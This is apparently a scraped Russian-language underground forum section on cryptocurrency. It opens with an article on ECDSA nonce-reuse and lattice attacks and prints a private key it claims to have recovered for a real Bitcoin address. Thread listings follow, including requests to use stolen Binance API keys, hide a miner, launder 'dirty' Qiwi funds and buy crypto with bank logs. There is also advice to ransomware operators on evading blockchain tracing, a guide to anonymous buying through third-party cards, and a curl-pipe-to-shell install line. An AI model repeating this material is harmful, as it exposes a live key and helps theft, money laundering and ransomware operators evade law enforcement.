Не подделываемость имеет формальное криптографическое значение, но на высоком уровне это означает, что вы не можете создавать подписи, не зная секретного ключа (если только вы не скопировали уже существующую подпись, созданную из секретного ключа). Доказано, что DSAневозможно подделать при допущении дискретного журнала .

Цифровая подпись определяется над математической группой. Когда DSA используется с группой эллиптических кривых в качестве этой математической группы, мы называем это ECDSA. Группа эллиптических кривых состоит из точек эллиптических кривых, которые представляют собой пары ( x , y ), которые удовлетворяют уравнению y^2 = x^3 + ax + b для некоторых a , b . Для этого сообщения в блоге все, что вам нужно знать, это то, что, используя эллиптические кривые, вы можете определить конечную группу, что означает, что вы получаете генератор группы, g (точка эллиптической кривой) , и операции сложения и скалярного умножения точно так же, как вы можете с целыми числами. Поскольку они образуют конечную группу, генератор,g , будет иметь конечный порядок, p. Этот пост в блоге не будет объяснять или требовать, чтобы вы знали, как работают эти операции с эллиптическими кривыми.

Секретный ключ x по-прежнему будет случайным значением из целых чисел по модулю p . ECDSA работает так же, как DSA, но с другой группой. Теперь публичный ключ y по- прежнему вычисляется как y = g^x , за исключением того, что теперь g является точкой эллиптической кривой. Это означает, что y также будет точкой эллиптической кривой (раньше y был целым числом по модулю p ). Еще одно отличие заключается в том, как мы вычисляем значение r . Мы по- прежнему генерируем случайный одноразовый номер k как целое число по модулю p , как и раньше. Мы вычислим g^k , но опять же,g — точка эллиптической кривой, и, следовательно, g^k — тоже. Следовательно, мы можем вычислить ( x^k , y^k ) = g^k и установить r = x^k . Теперь значение s можно вычислить, как и раньше, и мы получим нашу сигнатуру ( r , s ), которая по-прежнему будет целым числом по модулю p , как и раньше. Чтобы проверить, нам нужно сделать поправку на тот факт, что мы вычислили r немного по-другому.

Итак, как и прежде, мы вычисляем значение ( g^H(m)y^r)^ŝ , но теперь это значение является точкой эллиптической кривой, поэтому мы берем x-координату этой точки и сравниваем ее с нашим значением r .

Click to expand...

_Восстановление секретных ключей из повторно используемых одноразовых номеров _NONCES

Теперь, когда мы понимаем, что такое ECDSA и как он работает, давайте продемонстрируем его хрупкость. Опять же, поскольку это схема цифровой подписи, крайне важно, чтобы секретный ключ никогда не раскрывался никому, кроме лица, подписывающего сообщение.

Однако, если подписывающее лицо когда-либо выпускает подпись, а также выпускает использованный одноразовый номер, злоумышленник может немедленно восстановить секретный ключ.

Click to expand...

Скажем, я освобождаю подпись ( r , s ) для сообщения m и случайно обнаруживаю, что использовал одноразовый номер k .

Поскольку s = ( k^-1 ( H ( m ) + xr )), мы можем легко вычислить секретный ключ:

s = (k^-1(H(m) + xr))

ks = H(m) + xr

ks – H(m) = xr

x = r^-1(ks – H(m))

Следовательно, подписывающая сторона должна не только хранить в секрете свой секретный ключ , но и все свои одноразовые номера, которые они когда- либо генерировали, в секрете.

Click to expand...

Даже если подписывающий держит в секрете каждый одноразовый номер NONCES, если он случайно повторит один одноразовый номер NONCES (даже для разных сообщений), секретный ключ также может быть немедленно восстановлен.

Click to expand...

Пусть ( r , s 1 ) и ( r , s 2 ) будут двумя подписями, созданными на сообщениях m 1 и m 2 (соответственно) из одного и того же одноразового номера, k — поскольку они имеют один и тот же одноразовый номер, значения r будут одинаковыми, так что это очень легко обнаруживается злоумышленником:

s1 = k^-1(H(m1) + xr) and s2 = k^-1(H(m2) + xr)

s1 – s2 = k^-1(H(m1) – H(m2))

k(s1 – s2) = H(m1) – H(m2)

k = (s1 – s2)^-1(H(m1) – H(m2))

После того, как мы восстановили одноразовый номер k , используя приведенную выше формулу, мы можем восстановить секретный ключ, выполнив ранее описанную атаку.

Давайте на минутку переварим это.​

Если одноразовый номер NONCES для подписи когда-либо раскрывается, секретный ключ может быть немедленно восстановлен , что нарушает всю нашу схему подписи.

Click to expand...

Кроме того, если два одноразовых номера когда-либо повторяются, независимо от того, что представляют собой сообщения, злоумышленник может легко обнаружить это и немедленно восстановить секретный ключ , снова нарушив всю нашу схему.

Это довольно хрупко, и это только легкие атаки!

Но существует новая атака Lattice Attack которую очень подробно и детально описали Йоахим Брайтнер и Надя Хенингер (Joachim Breitner and Nadia Heninger)

Document [PDF]: Biased Nonce Sense: Lattice Attacks against Weak ECDSA Signatures in Cryptocurrencies

Click to expand...

В блокчейне Биткоина мы нашли некую транзакцию:​

transaction: 08d917f0fee48b0d765006fa52d62dd3d704563200f2817046973e3bf6d11f1f

для Биткоин Адреса: 15N1KY5ohztgCXtEe13BbGRk85x2FPgW8E

и нам удалось размножить фейковые подписи и применить решетку

Click to expand...

где с помощью Python-скрипта algorithmLLL.py с установкой пакетов в **GOOGLE COLAB

INSTALL >> SAGE + ECDSA + BITCOIN + algorithm LLL**

Нам удалось получить Private Key к Bitcoin Wallet из одной слабой транзакции в ECDSA.

Click to expand...

УстановкаУстановкаЗапуск Bash-скрипта: lattice.shЗапуск Bash-скрипта: lattice.shРезультат в HEX - формате Закрытый ключ найден!Результат в HEX — формате Закрытый ключ найден!Файл: ONESIGN.txt (Значение R, S, Z подписи ECDSA)Файл: ONESIGN.txt (Значение R, S, Z подписи ECDSA)Размножили фейковые подписи для Python-скрипта algorithmLLL.pyРазмножили фейковые подписи для Python-скрипта algorithmLLL.pyФайл: PRIVATEKEY.txt Файл: PRIVATEKEY.txtФайл: ADDRESS.txtФайл: ADDRESS.txtПроверяем закрытый ключ на сайте bitaddressПроверяем закрытый ключ на сайте bitaddress
Закрытый ключ найден!

https://www.blockchain.com/btc/address/15N1KY5ohztgCXtEe13BbGRk85x2FPgW8E

0.001 BTC0.001

Code:Copy to clipboard

ADDR: 15N1KY5ohztgCXtEe13BbGRk85x2FPgW8E

WIF:  5JCAmNLXeSwi2SCgNH7wRL5qSQhPa7sZvj8eDwxisY5hJm8Uh92

HEX:  31AFD65CAD430D276E3360B1C762808D1D051154724B6FC15ED978FA9D06B1C1
Binance API ключи
ID: 67686ad7b4103b69df379a57
Thread ID: 44590
Created: 2020-11-21T00:04:07+0000
Last Post: 2020-11-21T20:35:59+0000
Author: rokkkkkko
Replies: 4 Views: 1K

Ребят, подскажите, что можно сделать имея на руках API key и Secret key от Бинанса?
Можно ли вывести крипту? Если да, то как?

У кого есть кейсы по этой ситуации?

Ysra Global
ID: 67686ad7b4103b69df379a5b
Thread ID: 43770
Created: 2020-10-31T21:12:12+0000
Last Post: 2020-10-31T21:12:12+0000
Author: senegal55
Replies: 0 Views: 1K

кто нибудь знает вообще про Ysra Global? На днях познакомился с этой криптовалютой думаю рискнуть нет? Просвятите

POS
ID: 67686ad7b4103b69df379a5d
Thread ID: 43534
Created: 2020-10-26T09:45:42+0000
Last Post: 2020-10-26T09:45:42+0000
Author: CodeSecure
Replies: 0 Views: 1K

#Edit: Please change theard name to POS

Hello. I would like someone to elaborate on the topic more. How does it work? How can i work with it?

Thanks!

Майнер
ID: 67686ad7b4103b69df379a5e
Thread ID: 43456
Created: 2020-10-23T12:19:10+0000
Last Post: 2020-10-23T21:16:30+0000
Author: borys_lenkov
Replies: 3 Views: 1K

Как правильно поставить майнер и замаскировать его?

De Fi
ID: 67686ad7b4103b69df379a61
Thread ID: 42560
Created: 2020-09-27T19:08:47+0000
Last Post: 2020-10-19T19:45:00+0000
Author: Lescer
Replies: 9 Views: 1K

Всем доброго времени суток ! В связи с ростом популярности дефай проектов хотел бы побщаться с теми, кто занимался стейкингом ? Каковы вообще риски и тд ? Профит ?

Отслеживание NetWalker и других программ-вымогателей с помощью биткойнов!
ID: 67686ad7b4103b69df379a62
Thread ID: 43135
Created: 2020-10-11T17:49:42+0000
Last Post: 2020-10-11T22:25:48+0000
Author: r1z
Replies: 2 Views: 1K

Привет ребята;

хорошо; Я делюсь с вами своими мыслями об этом итоговом обзоре, который я читал о NetWalker, и хотел бы предупредить всех, кто работает с подобными программами-вымогателями, чтобы они изменили способ получения дочерних программ-вымогателей;

хорошо; проблема теперь в создателях / программистах вымогателей; проблема в том, кто предоставляет его конечным пользователям и аффилированным пользователям; программы-вымогатели сейчас являются самой серьезной проблемой во всем мире; Биткойн становится все больше и больше день ото дня;

Если вы верите, что биткойн вас не испортит; и уничтожить вас и всех, кто работает с вами; затем прочтите немного об этом, и вы поверите мне в этом ..

Сегодня я только что прочитал эту новость о программе-вымогателе NetWalker, где ФБР и другие агентства отслеживают вредоносное ПО, связанное с биткойнами;

Используя CipherTrace Inspector, аналитики McAfee проследили адреса BTC, извлеченные из снимка экрана четырех завершенных платежей вымогателей NetWalker, обнаруженных в списке RaaS на рынке даркнета. На этих снимках экрана показаны только частичные адреса BTC, но функция автозаполнения CipherTrace Inspector смогла легко определить полные адреса, что позволило аналитикам McAfee продолжить исследование схемы вымогателей. Это были адреса:

3JHTYZhRmMcq7WCKRzFN98vWvAZk792w9J
39aovzbz5rGoQdKjDm6JiybkSu1uGdVJ2V
39NRnZtgACDVhhmc7RwmvH9ZDUKTNwwaeB
3L4AW5kHnUCZBBjg2j1LBFCUN1RsHPLxCs

Click to expand...

Затем аналитики смогли определить, что злоумышленники консолидировали средства с четырех адресов, перечисленных выше, на следующие два адреса, находящиеся под контролем операторов NetWalker RaaS:

1DgLhGeJfoUkkXdYNVf7SNckX5ST5taPVo
bc1q98z5gcxan998h0uem0y4y4qtmm45xk4r2e5m9p

Click to expand...

Netwalker-RaaS-1200x669.png

Это пример распределения выкупа между операторами Netwalker (RaaS) и аффилированным лицом, вызвавшим заражение;

поскольку они уже знают, что netwalker использует холодный кошелек, но даже это ... Один адрес, идентифицированный как возможное холодное хранилище для организации, содержал чуть более 640 BTC, и только одна исходящая транзакция. Адреса, которые в настоящее время используются в качестве холодного хранилища для этих операторов, также являются адресами SegWit. Этот переход на SegWit может указывать на то, что они либо используют новый аппаратный кошелек для хранения своих BTC, либо просто указывают на желание более дешевых транзакций, чтобы обеспечить масштабирование операции при сохранении низкой стоимости транзакций. Это также демонстрирует эволюцию их зрелости, показывая, что они более склонны оставлять средства и ждать, а не с нетерпением ждать их обналичивания.

Хотя организация хранит большие суммы биткойнов в так называемых холодных кошельках, часть средств уже переместилась в этом году. Одна консолидированная сумма средств на сумму 35,43 BTC была в конечном итоге внесена в CointoCard - российский VASP, который позволяет клиентам конвертировать криптовалюту в кредит на их банковской и / или дебетовой карте, а также обменивать криптовалюту на криптовалюту. Кроме того, в последнее время произошло движение средств, которые были депонированы на некоторых всемирно известных биржах.

Прочтите анализ McAfee по NetWalker Ransomware здесь: <https://www.mcafee.com/blogs/other-blogs/mcafee-labs/take-a-netwalk-on-the- wild-side/>

Вывод из этого руководства: почему эти ребята все еще работают и держат их в биткойнах и присоединяют пользователей к биткойнам? где мы все видим за последние несколько месяцев, как много глупых парней попадает в ловушку ФБР и агентств по интеллектуальным технологиям, которые используют биткойны;

Почему бы не переместить этот холодный кошелек в холодный кошелек в Etherum / XMR ??? почему бы не поделиться новыми глубокими технологиями, где будет сложнее отследить и позволить другим глупым сотрудникам найти или выследить вас?

Я очень признателен за любые комментарии к этому руководству, и ваш отзыв внесет некоторые изменения для программистов такого рода программ-вымогателей или, по крайней мере, заставит аффилированного партнера осознать, насколько они глупы, и предупредить о том, что их поймают в будущем ...

Как вывести бабки
ID: 67686ad7b4103b69df379a63
Thread ID: 42687
Created: 2020-09-30T17:51:44+0000
Last Post: 2020-10-07T12:54:51+0000
Author: prestige09
Replies: 5 Views: 1K

Сам не шарю, объясните)
Как выводить грязные бабки с левого киви? Какими криптовалютами пользоваться чтоб не потерять на курсе? Как вообще выстроить цепочку?) Где то была подробная статья про это, потерял её. Спасибо)

Посоветуйте BTC accelerator
ID: 67686ad7b4103b69df379a67
Thread ID: 40129
Created: 2020-07-28T20:21:27+0000
Last Post: 2020-09-29T09:13:43+0000
Author: pablo
Replies: 6 Views: 1K

Посоветуйте эффективные Bitcoin Transaction accelerator
зависло пару плетежей с комиссией 1 сатоши, без насильного пуша никогда не пройдут ((
https://viabtc.com/tools/txaccelerator какой-то дорогой выходит

Образовательные занятия по трейдингу. Online training marathon
ID: 67686ad7b4103b69df379a6a
Thread ID: 42162
Created: 2020-09-16T18:45:26+0000
Last Post: 2020-09-16T18:45:26+0000
Author: pablo
Prefix: Видео
Replies: 0 Views: 1K

Online training marathon. Академия Факел.

Команда трейдеров из Хедж-фонда "Факел" совместно с крупнейшей биржей ОКЕх выпустили уже более 10 образовательных занятий на все нужные и необходимые для прибыльной торговли темы.

Click to expand...

Занятие #1

Занятие #2

Занятие #3

Занятие #4. Ордера и Точки входа

Занятие #4. ROE-LITE!. Авторская стратегия

Занятие 6. Психология в трейдинге

Занятие 7. Рабочий день трейдера. Подготовка к торгам

Занятие 8. Первая торговая сессия

Занятие 9. Разбор альткоинов. Потенциальные DeFi проекты

Занятие 10. Бессрочные свопы

Занятие 11. Осцилляторы
https://www.youtube.com/watch?v=enwsEDUMBIY

Мульвалютный миксер
ID: 67686ad7b4103b69df379a6d
Thread ID: 41338
Created: 2020-08-26T06:36:59+0000
Last Post: 2020-08-28T09:27:26+0000
Author: Mr.Di
Replies: 15 Views: 1K

Собственно сабж, я пока не натыкался. Знает ли кто нибудь подобное? Бывает что нужно лайт на бтс поменять или какой нибудь некрокойн которого копейки лежат на нормальную. Плюсы/минусы обычного миксера бы, но чтобы на выходе можно было выбирать в какой монете выводить. Секурность повышается жеж

Установка Bitcoin Core (bitcoind)
ID: 67686ad7b4103b69df379a74
Thread ID: 39393
Created: 2020-07-07T22:39:13+0000
Last Post: 2020-07-07T22:39:13+0000
Author: tabac
Replies: 0 Views: 1K

Некоторые мучаются, кряхтят и ставят Bitcoin Core по-старинке

По старинке:
Debian Ubuntu

Code:Copy to clipboard

sudo apt-get install libboost-system-dev libboost-filesystem-dev libboost-program-options-dev libboost-chrono-dev libboost-test-dev libboost-thread-dev

Code:Copy to clipboard

sudo apt-get install build-essential libtool autotools-dev autoconf pkg-config libssl-dev libdb-dev libdb++-dev libevent-dev

Code:Copy to clipboard

git clone https://github.com/bitcoin/bitcoin.git
cd bitcoin
git tag # look for your desired version in the tag list
git checkout <version>
./autogen.sh
./configure --without-gui --with-incompatible-bdb
make

Стартуем:

Code:Copy to clipboard

bitcoind -daemon
Bitcoin server starting

Однако, сейчас куча готовых инсталляторов, которые ставят bitcoin Core (bitcoind) в одну строчку
например

Code:Copy to clipboard

curl https://bitnodes.io/install-full-node.sh | sh

И все :)

На своей ноде можно принимать битки, удаленно их хранить и делать еще много разных прелестей

Анонимная покупка биткоина (для новичка)
ID: 67686ad7b4103b69df379930
Thread ID: 70637
Created: 2022-07-25T15:15:54+0000
Last Post: 2022-07-25T16:56:51+0000
Author: VsemObmen
Prefix: Статья
Replies: 8 Views: 1K

Всем привет:)

(Не знаю нужна ли пометка "Копипаст", если эта статья есть на другом форуме, но автор там также я)

Наблюдаю, что многие сталкиваются с проблемой анонимной покупки биткоина.
Поэтому расскажу несколько вариантов и укажу некоторые особенности каждого, чтобы анонимная покупка действительно была анонимной.

Первое на что необходимо обратить внимание - это место, где его покупаем
На сервисе обязательно должно быть указано что то по типу: без KYC, без верификации. Такие сервисы не запрашивают верификацию карты или личности.
Если для вас анонимность принципиально важна, лучше очень внимательно посмотрите все инструкции к обмену, прочтите весь мелкий шрифт и уточните у оператора по верификации.

Второе - это способ оплаты. Тут вариантов несколько:

1. Приобретение карты на третье лицо
-необходимо соблюсти все меры безопасности при настройке и использовании карты. У каждого банка по разному. Из общего: сменить пин, сменить логин пароль, проверить номер телефона привязанный к карте (д.б. только 1 и тот которым пользуетесь вы), отключить пуш уведомления...
-не оставлять средства на карте надолго. Закинул - перевел.
-не должно быть преводов между вашей личной картой и картой на третье лицо.

2. Пополнение баланса карты через Кеш ин
Некоторые обменники предоставляют такую возможность
Вы оплачиваете не переводом с карты на карту, а топаете в банкомат и зачисляете средства сразу на карту обменника.
Из особенностей: выглядеть обычно. Ну и чтобы совсем анонимный аноним можно надеть медицинскую маску.
Как правило, используется банк Тинькофф, реже - Альфа.

3. Пополнение кошелька киви через терминал
До 15к один платеж, как правило без комиссии. Принцип тот же что и в предыдущем пункте.

4. Пополнение баланса сим
Пополнять необходимо не со своей личной карты. Терминал или карты третьего лица.

Третье - кошелек
Если вы приобретаете бит на кошелек уже связанный с вами, это не анонимно.
Кошелек мог быть связан с вами если:
-вы совершали перевод в любом сервисе с верификацией личности или верификацией вашей карты (обменник, биржа...)
-кошелек на вашем смартфоне
-браузерный кошелек, где используется ваш гугл аккаунт, привязанный к вашему номеру телефона оформленный на ваш паспорт

Есть что дополнить? Пишите)

Автоматический перевод на другой адрес
ID: 67686ad7b4103b69df379a7e
Thread ID: 37393
Created: 2020-05-16T14:49:54+0000
Last Post: 2020-05-16T17:31:28+0000
Author: Randy
Replies: 4 Views: 1K

Вообщем, вводная такая: имеешь blockchain wallet (и seed) от него. Может и не блокчейн, но восстанавливается на ура и транзы все видно. Соответственно после настройки и в электруме все ок. НО. Если приходит какая-либо сумма (любая, даже мелочь) - она автоматом в ту же минуту улетает на другой адрес. Как, блин, это реализовано? Есть идеи у кого-то?
P.S. Не мой кош если что ))) Да и клиппер адресов тут не при чем, как-то это программно реализовано

Золотоприемные банкоматы (Custody Bot). Вы их уже видели?
ID: 67686ad7b4103b69df379a7f
Thread ID: 37255
Created: 2020-05-12T13:58:39+0000
Last Post: 2020-05-12T13:58:39+0000
Author: pokerevent
Replies: 0 Views: 1K

Думали ли Вы когда-нибудь о том, что настанут такие времена, когда золото можно будет сдавать в золотоприемных банкоматах (Custody bot). О том как они выглядят, и даже как на этом можно заработать, читайте в этой статье - https://telegra.ph/Mint-Blockchain-Gold-Asset-05-03

Раздача от кошелька ATokenWallet — 0.25$ каждый день и 0.5$ за реферала
ID: 67686ad7b4103b69df379a80
Thread ID: 37170
Created: 2020-05-08T19:26:56+0000
Last Post: 2020-05-10T12:59:45+0000
Author: bouton
Replies: 1 Views: 1K

Идет акция в кошельке AtokenWallet и за ежедневный вход дают 0.25 USD. Срок окончания акции не озвучен. Также можно выполнять простые задачи и получать доп. плюшки. Бонус падает на депозитный счет - вывод через 3 дня
Если пропустите день, то коэффициент бонуса слетит. Нужно заходить в течении 10 дней, чтобы получить максимальный бонус. Для активных, есть доп плюшки.

Инструкция:
Установите приложение по ссылке:
https://play.google.com/store/apps/details?id=wallet.gem.com.atoken&hl=en&showAllReviews=true
В AppStore оно называется: AToken App

2. Установите пароль для входа в кошелек;.

3. Пройдите капчу - нужно расставить картинки по порядку;

4. Далее запишите/сфотографируйте секретную фразу для восстановления кошелька;

5. Подтвердите расставив слова по порядку, для этого нажимаем на нужное слова, пока оно не выделится и перемещаем по экрану. Как расставите - подтвердите.

6. Идем во вкладку "Me"

7. Регистрируемся через e-mail или телефон
Затем ниже вводим код : b749y6
И получаем 0.25 USDT +5KDG +1 коллекционный билет

Реф.программа:
за каждого реферала 0.5 USDT + коллекционные карты. Карты нужны, чтобы получить бонус, если пропустили день.

Для вывода обменивайте валюту во влкадке DeFi.
Ищите криптовалюту с маленькой комиссией.
Я советую выводить DOGE .

CEO Pantera Capital: после халвинга биткоин достигнет $115 тысяч
ID: 67686ad7b4103b69df379a81
Thread ID: 37088
Created: 2020-05-06T10:10:46+0000
Last Post: 2020-05-06T10:30:13+0000
Author: pablo
Replies: 1 Views: 1K

Цена биткоина вырастет до $115 тысяч к августу 2021 года. К такому выводу пришел CEO криптовалютного хедж-фонда Pantera Capital Дэн Морхэд, проанализировав предыдущие халвинги в письме к инвесторам.

Морхэд напомнил, что исторически цена ведущей криптовалюты достигала дна за 459 дней до события, а последующее ралли длилось в среднем 446 дней.

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2F1_vHmgZHoGpFDd0PwpVRNbEQ.png&hash=bec46e1322689de8b86a2d720dbd1e56)

«В этом цикле рынок по факту сделал это за 514 дней до события. Если история повторится, биткоин достигнет пика в августе 2021 года», — отметил он.

Click to expand...

Глава Pantera Capital изучил влияние каждого сокращения эмиссии BTC в результате уполовинивания награды за блок. После второго халвинга предложение монет сократилось ровно в три раза, оказав ровно такое же влияние на цену.

Ожидаемое сокращение предложения будет на 40% больше, чем в 2016 году, отметил Морхэд.

«Если соотношение сохранится, это будет означать, что ценовой импульс увеличится примерно на 40% -— биткойн достигнет максимума в $115 212», — полагает он.

Click to expand...

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2F1_jKFnRcce01nqcUsY75vAZA.png&hash=86aced6133c1aa60231f7a5aad486764)

Признавая, что названная им цена сейчас звучит «абсурдно», Морхэд напомнил инвесторам запуск биткоин-фонда:

«$5000 звучали так же нелепо, как и наш первый письменный ценовой прогноз, когда мы открыли Pantera Bitcoin Fund при $65 за BTC».

Click to expand...

Линк на оригинальный отчет (англ):

medium.com

[ Macro Impact On Bitcoin :: Pantera Blockchain Letter, April 2020

](https://medium.com/@PanteraCapital/macro-impact-on-bitcoin-pantera- blockchain-letter-april-2020-1fdc792d4f33)

Dear Investors,

![medium.com](/proxy.php?image=https%3A%2F%2Fmiro.medium.com%2Fv2%2F1%2Am- R_BkNf1Qjr1YbyOIJY2w.png&hash=fcf6cbc7a11ecd9e7b49ae64b7b9adbc&return_error=1) medium.com

Bank Logs To Btc
ID: 67686ad7b4103b69df379a82
Thread ID: 36361
Created: 2020-04-14T19:09:13+0000
Last Post: 2020-04-14T22:17:26+0000
Author: Krustywise
Replies: 1 Views: 1K

Hello.

Is there any sites still, that can buy crypto with bank logs? And also that dont need ID, i need that asap.

Замена Exodus.
ID: 67686ad7b4103b69df379a84
Thread ID: 36111
Created: 2020-04-06T07:13:38+0000
Last Post: 2020-04-06T12:02:04+0000
Author: hellohastag
Replies: 1 Views: 1K

Если я сделаю такой же веб сервис с комиссией 2/5, то будет ли на него спрос?

Инструкция по настройке доступа к TON Sites и созданию своих сайтов
ID: 67686ad7b4103b69df379a86
Thread ID: 35326
Created: 2020-03-03T20:50:34+0000
Last Post: 2020-03-03T20:53:28+0000
Author: tabac
Replies: 2 Views: 1K

Пошаговая инструкция по настройке прокси для доступа к TON Sites и созданию новых TON Sites
Перевод на русский язык (от форума tontalk.org)

Целью этой статьи является подробное ознакомление с TON Sites, доступ к которым осуществляется через блокчейн TON. TON Sites могут использоваться в качестве удобной точки входа для других TON Services. В частности, HTML- страницы, загруженные с TON Sites, могут содержать ссылки ton://, представляющие платежи, которые могут быть выполнены пользователем при условии, что на устройстве пользователя установлен TON Wallet.

С технической точки зрения TON Sites похожи на обычные веб-сайты, но доступ к ним осуществляется через сеть Telegram Open Network, которая представляет собой оверлейную сеть внутри Интернета, а не через Интернет. Более конкретно, у сайтов есть адрес ADNL (вместо более привычного адреса IPv4 или IPv6), и TON Sites принимают запросы HTTP через протокол RLDP (который является протоколом RPC более высокого уровня, основанным на ADNL, главном протоколе сети TON) вместо обычного TCP/IP протокола. Все шифрование обрабатывается ADNL, поэтому нет необходимости использовать HTTPS.

Для доступа к существующим TON Sites и для создания новых сайтов TON необходимы специальные шлюзы между классическим Интернетом и сетью TON. По сути, доступ к сайтам TON осуществляется с помощью HTTP -> RLDP-прокси, работающего локально на клиентской машине, и они создаются с помощью обратного RLDP -> HTTP-прокси, работающего на удаленном веб-сервере.

1. Компиляция RLDP-HTTP прокси

  
RLDP-HTTP Proxy - это специальная утилита, специально разработанная для
доступа к TON Sites и для создания сайтов TON. Его текущая (альфа) версия
является частью общего исходного кода TON Blockchain, доступного в официальном
GitHub [репозитории](https://github.com/ton-blockchain/ton). Чтобы
скомпилировать RLDP-HTTP прокси, следуйте инструкциям. Двоичный файл прокси
будет расположен как  
  
`rldp-http-proxy/rldp-http-proxy`  
  
в каталоге сборки. В качестве альтернативы, вы можете захотеть создать только
Proxy, а не все проекты TON Blockchain. Это можно сделать, вызвав  
  
`cmake --build. --ttarget rldp-http-proxy`  
  
в каталоге сборки.  
  
  
  
**2\. Запуск RLDP-HTTP прокси для доступа к TON Sites (TON Web)**  

Чтобы получить доступ к существующим TON-сайтам, вам нужен работающий экземпляр RLDP-HTTP Proxy на вашем компьютере. Это может быть вызвано следующим образом:

rldp-http-proxy / rldp-http-proxy -p 8080 -c 3333 -C ton-global.config.json

или

rldp-http-proxy / rldp-http-proxy -p 8080 -a <your_public_ip>: 3333 -C ton- global.config.json

где <your_public_ip> - ваш общедоступный IPv4-адрес на вашем домашнем компьютере. Конфигурационный файл ton-global.config.json можно скачать по адресу https://test.ton.org/ton-global.config.json

wget https://test.ton.org/ton-global.config.json

В приведенном выше примере 8080 - это порт TCP, который будет прослушиваться на локальном узле для входящих HTTP-запросов, а 3333 - это UDP порт, который будет использоваться для всех исходящих и входящих операций RLDP и ADNL, то есть для подключения к TON Sites через TON Network.

Если вы все сделали правильно, прокси не прекратит работу, но продолжит работу в терминале. Теперь его можно использовать для доступа к TON Sites. Когда вам это больше не нужно, можете остановить его нажав Ctrl-C или просто закрыв окно терминала.

3. Доступ к TON Sites

  
Предположим что у вас есть запущенный RLDP-HTTP Proxy, работающий на вашем
компьютере и прослушивающий localhost: 8080 для входящих TCP-соединений, как
описано выше  
  
Простой тест, что все рабочие свойства могут быть выполнены с использованием
таких программ как Curl или WGet. К примеру:  
  
`curl -x 127.0.0.1:8080 http://test.ton`  
  
пытается загрузить главную страницу (TON) сайта `test.ton`, используя прокси
`127.0.0.1: 8080`. Если прокси запущен и работает, вы увидите что-то вроде  
  

Code:Copy to clipboard

    
    
    <HTML>
    <H2> TON Blockchain Test Network & mdash; файлы и ресурсы </ H2>
    <H3> Новости </ H3>
    <UL>
    ...
    </ HTML>

  
потому что TON Site `test.ton` в настоящее время настроен как зеркало веб-
сайта <https://test.ton.org>  
  
Кроме того, вы можете настроить `localhost: 8080` в качестве HTTP-прокси в
вашем браузере. Например, если вы используете Firefox, зайдите в [Setup] ->
General -> Network Settings -> Settings -> Configure Access Proxy -> Manual
Proxy configuration и введите "127.0.0.1" в поле "HTTP Proxy", и "8080" в поле
"Port".  
  
После того как вы настроили `localhost: 8080` в качестве HTTP-прокси для
использования в вашем браузере, вы можете просто ввести требуемый URI, такой
как `http://test.ton` в адресной строке вашего браузера и взаимодействовать с
TON Web так же, как с обычными веб-сайтами.  
  
  
**4\. Создание TON Sites**  
~~~~~~~~~~~~~~~~~~~~~  
  
Если вы хотите создать сайт в сети TON, вам нужно запустить RLDP-HTTP Proxy на
вашем сервере вместе с обычным программным обеспечением веб-сервера, таким как
Apache или Nginx.  
  
Мы предполагаем, что вы уже знаете, как настроить обычный веб-сайт, и что вы
уже настроили его на своем сервере, принимая входящие HTTP-соединения через
TCP-порт <your-server-ip>: 80 и определение необходимого TON Network domain
name, скажем, example.ton, в качестве основного доменного имени или алиаса для
вашего веб-сайта в конфигурации вашего веб-сервера.  
  
После этого вы выполняете  
  
`rldp-http-proxy -a <ваш-сервер-ip>: 3333 -L example.ton -C ton-
global.config.json`  
  
в фоновом режиме (вы можете сначала попробовать это в терминале, но если вы
хотите, чтобы ваш сайт TON работал постоянно, вам придется также использовать
опции -d и -l <log-file>).  
  
Если все работает правильно, RLDP-HTTP прокси будет принимать входящие HTTP-
запросы из сети TON через RLDP/ADNL, работающие через UDP-порт 3333 (конечно,
вы можете использовать любой другой UDP-порт, если хотите) с IPv4-адресом
<ваш- server-ip> (в частности, если вы используете firewall не забудьте
разрешить rldp-http-proxy принимать и отправлять UDP-пакеты с этого порта), и
он будет перенаправлять эти HTTP-запросы, адресованные хосту `example.ton` к
TCP-порту 80 на 127.0.0.1, т. е. к обычному веб-серверу.  
  
Вы можете зайти на TON Site `http://example.ton` из браузера, запущенного на
клиентском компьютере, как описано выше и проверить, действительно ли ваш TON
сайт публично доступен  
  
  
  
Оригинал статьи на английском: <https://test.ton.org/TonSites-HOWTO.txt>

Покупка Ripple и др к-валют
ID: 67686ad7b4103b69df379a8b
Thread ID: 34864
Created: 2020-02-09T20:25:49+0000
Last Post: 2020-02-10T09:47:44+0000
Author: Fireman112
Replies: 1 Views: 1K

На какой бирже можно купить Ripple и др к-валюты?

Раздача BF Токенов
ID: 67686ad7b4103b69df379ab3
Thread ID: 29444
Created: 2019-05-21T16:18:17+0000
Last Post: 2019-05-22T07:42:32+0000
Author: Tes73r
Replies: 1 Views: 1K

Всем доброго времени суток! 20 BF за регистрацию + 20BF за друга

В честь исторического дня (22мая), когда программист оплатил 2 пиццы 10к биткоинами, небезызвестная биржа Bitforex запустила в честь этого события акцию.

За регистрацию вы получите 20BF + За каждого приглашённого друга еще 20BF и приглашённый получит столько же.

Cтоимость BF на данный момент 0.02$/шт.

  1. Регистрируемя на Бирже https://www.bitforex.com.
  2. Заполняем форму https://docs.google.com/forms/d/e/1FAIpQLSfov7X0lJ_XEpq3td5NoQrdv4QxPBowzohDMWdegLMeEpPwnQ/viewform (Во второй строчке, пожелание для биржи)
  3. Приглашаем друзей (Ссылку можно найти вот тут: https://www.bitforex.com/ru/superRebate)

Награды выдадут в течение 5 дней после окончания акции.

Общий банк всего 300000BF токенов, так что поспешите!

Важный момент!
1. Если вы не привяжите свой номер телефона или не пройдете верификацию kyc, то все приглашенные вами рефералы не засчитаются.

Best mobile emulator? 500$ reward
ID: 67686ad7b4103b69df379940
Thread ID: 60848
Created: 2022-01-04T12:34:49+0000
Last Post: 2022-07-14T19:33:39+0000
Author: someonerandom
Replies: 19 Views: 1K

What is the best android/ios emulator right now?
More and more crypto card providers require a mobile app to use them.
Also is there a way to get Apple Pay without iPhone, iPad etc
Will buy beer or whiskey to the person that helps me save time researching :)

Гайд от европола по биткоин расследованиям
ID: 67686ad7b4103b69df379950
Thread ID: 67326
Created: 2022-05-19T18:47:06+0000
Last Post: 2022-06-15T14:16:33+0000
Author: AxelRod
Prefix: Мануал/Книга
Replies: 8 Views: 1K

maybe someone will be interested

SlowMist: анализ взлома протокола Fortress
ID: 67686ad7b4103b69df379951
Thread ID: 68708
